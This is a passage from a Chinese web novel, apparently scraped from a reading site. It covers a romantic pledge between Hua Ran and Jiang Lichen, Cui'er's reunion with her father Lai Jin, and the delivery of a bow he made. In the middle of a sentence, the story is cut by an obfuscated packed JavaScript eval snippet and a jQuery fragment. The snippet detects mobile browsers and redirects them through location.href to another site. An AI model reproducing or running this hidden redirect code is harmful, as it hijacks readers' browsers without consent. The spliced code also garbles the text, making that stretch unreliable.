这人明明是在威胁的她,话一出口却没有多少的确,倒像是个一哭二闹三上吊的小媳妇,花染被自己这个想法逗笑了,她打趣的问道:“那我若是食言了呢?你又能怎么办?”
接着她唇上让她的吃痛的倒吸一口气,耳边传来男人咬牙切齿的声音,“那我就跳进你窗外的水缸中,淹死自己。”
“噗——哈哈哈哈哈哈哈……”花染没忍住笑了起来,“我听说过跳海、跳河甚至跳悬崖的,第一次听到有人要跳缸里的,你是想要当我面沐浴勾引我吗?”
姜离尘也被自己的想法逗笑,但他深深的看着花,“跳海跳河你又看不到,倒不如跳进水缸里,日后只要你看到缸就会想起我,你不是喜欢养金鱼,日后只要你养金鱼也会想起我。”
这话听着有些幼稚可笑,但花染只要假设了一下那个画面,就觉得有些毛骨悚然,她抬手推了一下男人的肩膀,对方像是没有感觉一般,纹丝不动仍旧弯腰贴着她。
“你真变态。”花染忍不住骂了一句。
姜离尘再度微微后退几分,脸上玩笑敛去,目光定定地看着花染,对上他黝黑虔诚的目光,花染看懂了他此刻的郑重和严肃。
“怎么了?”
“花染,这是我给你的最后一次机会,过了今日你若反悔那是不能够的,我绝不会再松手,你当真想好了吗?”
花染看着他的眉眼,看着他眼中那些不安和紧张,不知怎么的这次是真真的有些心疼,刚才这人或许是在玩笑,但这一刻,她明白姜离尘说的都是真的。
只要她点一下头,这人便认定了她,若是日后她敢反悔,他就真的会发疯。
可花染却毫不犹豫的点点头,“姜离尘,你要记住我说的话,你这辈子都是我花染的,生是我的人,死是我的鬼。”
……
第二天,花染准备带着翠儿认祖归宗,在花家好吃好喝的几日,翠儿的脸色明显好看了许多,有道是佛靠金装人靠衣装,稍微打扮一下看着倒是清秀很多。
坐在马车上,翠儿满心的紧张,抿着一双唇也不说话,紧紧握着拼在一起的吊坠。
花染有心想要安慰几句,可张开嘴却又不晓得说些什么,很快马车驶入巷子里,刚到赖瑾的门前停稳,似有所觉一般,赖瑾突然打开了门。
和正在下马车的花染对上视线后,赖瑾明显的愣了一下,转而眼睛里突然迸发出不敢置信,他颤抖的目光越过花染,落在了从马车里探出来的一只手。
花染跳下马车看看他,转头看向车厢,翠儿一只手扶着马车的门框,一手提着长裙,缓缓的走了出来,她并未朝前看去,只是小心的下车,珠儿赶忙上前扶了一把。
等人下地站稳之后,抬头刚要说些什么,她突然看到了站在门口的男人,那人苍老的让她有些恍惚,但眉眼间的熟悉之感,告诉她这人就是她心心念念想要再次见到的人。
一路在马车上设想的场景没有发生,赖瑾颤抖着唇,忍住了自己的情绪,细细打量着眼前的姑娘后,转头看向花染,“小姐进来说吧。”
说完他率先进了门,脚下的步子再不那样沉稳缓慢,他像是被人踩了尾巴似的,脚步飞快的进了屋,花染还有些恍惚,这人怎么见了女儿转身就跑啊?这可和她想象中父女重逢的场面不太一样,她连忙跟上去。
却见赖瑾将倒在院子里的箩筐,快速的收拾进柴棚里,在一旁的水通里洗了洗手,抬手飞快的整理着自己的头发。
跟在花染身后进门的翠儿也看到了,看着他有些不知所措慌乱的背影,翠儿落在了眼泪,嘴角却是带着笑的。
她感觉得到父亲的紧张,也感觉到了他眼神里的自责和愧疚,明白他想要给她最好的面貌和环境,可她从不在乎这些。
“爹。”
翠儿轻轻唤了一声,嗓音带着她无法控制的颤抖,那个正在忙碌的背影,突然僵住,紧接着他的肩头不断的颤抖着,低泣的呜咽声也传了出来,花染明白父女二人都需要时间。
她犹豫了一下说道:“答应先生的事情我已经做到了,我便也不再这里多做打扰,你们父女二人也好好说说话吧。”
说完,她看向一旁的护卫,“将翠儿姑娘的东西都抬下来。”
花家老夫人是个心善的,看着翠儿没有什么东西,得知今日要送她回家,便开了自己的库房,找了些翠儿和她父亲平日里用得上,又不会很贵重让人觉得有压力的东西,给她收拾了一箱子。
父女二人这会儿抱头痛哭,根本顾不上和花染说话,花染也不多耽搁,带着人回了家。
一连三日都没有关于翠儿和赖瑾的消息,她倒是也不怎么着急,珠儿反倒是担心起来。
“再过三日就是姜公子参加武举的日子,赖老先生真的能做出来那把弓吗?”
提到这事儿花染心里也是敲鼓,前世那把弓听闻赖老先生用了半年的时间赶制,这次的弓的确时间过于短促,若是做不出来她也没有办法。
屋外的廊下传来小跑的脚步声,须臾小厮站下门外回禀道:“小姐,府门外有二人说是想见您,说是姓赖。”
花染和珠儿对视一眼,两人赶忙放下手里的簪子和梳子,急匆匆的朝着门口去,“快去请进来。”
二人刚走到前院的偏厅,赖瑾带着女儿翠儿已经等在了这里,花染打量着父女二人,看着赖瑾眼里柔和的光,还有翠儿脸上甜美的笑容时,花染忍不住也笑了起来。
“赖老先生快坐,翠儿也坐。”花染招呼着人坐下,满脸好奇的看着他们。
赖瑾似是想起来什么,又赶忙起身去门口搬进来一个东西,此物用灰色的布条缠绕包裹着,花染看到他手里抱着之物的一瞬间,眼睛就已经亮了起来,更是一瞬不瞬的盯着此物。
“老先生,这可是那张弓?”花染赶忙起身迎过去,想要凑近看看。
“正是,我爹两天未合眼,只想着快些完成。”翠儿这会儿找到了父亲,整个人的精气神看着都好了不少,加上这段时日吃的睡得也都好,原
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010579|193490||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
本黑瘦的脸颊,这会儿看着也圆润的几分。
花染闻言眼睛都瞪大了,看向赖师傅的目光带着担忧和自责,“这,这……”
一旁的赖瑾看在了眼里,挥挥手一脸不在意的说道,“这有什么,这些年我也未能睡过一个整觉,早就习惯了。”
至于为何没有睡好,屋里的人也都明白,一旁的翠儿脸上的笑容逐渐转变成了心疼。
花染赶忙岔开了话题,“今早我还和珠儿说起这弓,担心姜公子武举之时未必用得上呢,却不想赖老先生今日就给送了过来。”
三人说话的功夫,赖瑾已经将上面缠着的布条拆下来,花染也终于看到了那张弓的样子,有那么一瞬间她嘴角的笑容僵住。
看着眼前的弓,她隐约觉得好像冥冥中天意是不可变的,前一世姜离尘花费了几年的功夫,才得到眼前的弓,这一日她本以为不会再见到那张弓,却不想两世属于姜离尘的弓,都是同一把。
那么他们的命运呢?也会不管她怎么努力改变,两世的命运仍旧如同一辙吗?
送走了赖家父女,花染都等不到第二天,赶忙找来一块靛青色的布,重新包裹了一下那张弓,让人备了马车一路赶去了姜家的校场。
花染不假于人手,将弓抱在自己的怀中,下车后看守院门的侍卫打量了她一眼,得知她是赖寻小公子的,这才转身去通报。
不一会儿,便有脚步声和铠甲声传来,花染满眼期待的盯着大门,随后大门应声敞开,一身铠甲的少年,身着暗红束袖骑装,墨发束成马尾高高的立于发顶。
一双锐利的眼睛带着桀骜的神色,嘴角斜斜的一勾,双手环胸倚靠在大门的边上,一副吊儿郎当玩世不恭的样子,“今日哥哥忙,怕是要晚些才能陪你玩儿。”
闻言,花染冲着他翻了一个白眼,难怪自己当初那么不待见这人,他嘴里怎么就没有一句像样的好话。
知道马上要武举考试了,花染也不想耽搁他练习的时间,将抱在怀中的东西抬手塞入姜离尘的手里。
“给你。”
突然被人塞了东西,姜离尘下意识赶忙接过去,东西虽未拆开,可一入手他就明白这布中包着的是什么。
他剑眉一挑眼神里带着几分讶然之色,但很快又看向花染,痞坏的勾了勾嘴角,“怎么……这么快就给我准备好了……聘礼?入赘倒也不是不可以,只是我得回去和家里人说一声,再说……你好歹也带个媒人过来啊,我若这样轻易的答应你,岂不是显得我很不值钱?”
周围还站着不少的士兵,听到姜离尘这番话,忍不住低笑起来,花染闻言脸上顿时烧红,心里有些恼火,“你这人怎么就没有一点正经的,这不过是我作为答谢你之前帮我两次的谢礼,今日才刚做好罢了。”
“原来是谢礼啊,害我白开心一场。”他抱着弓似笑非笑的看着花染,他笑起来一双凤眸弯弯的,真真是看狗都深情,这会儿目光满含爱惜的盯着花染,宛若一池秋水映着夕阳,暖到人心坎里。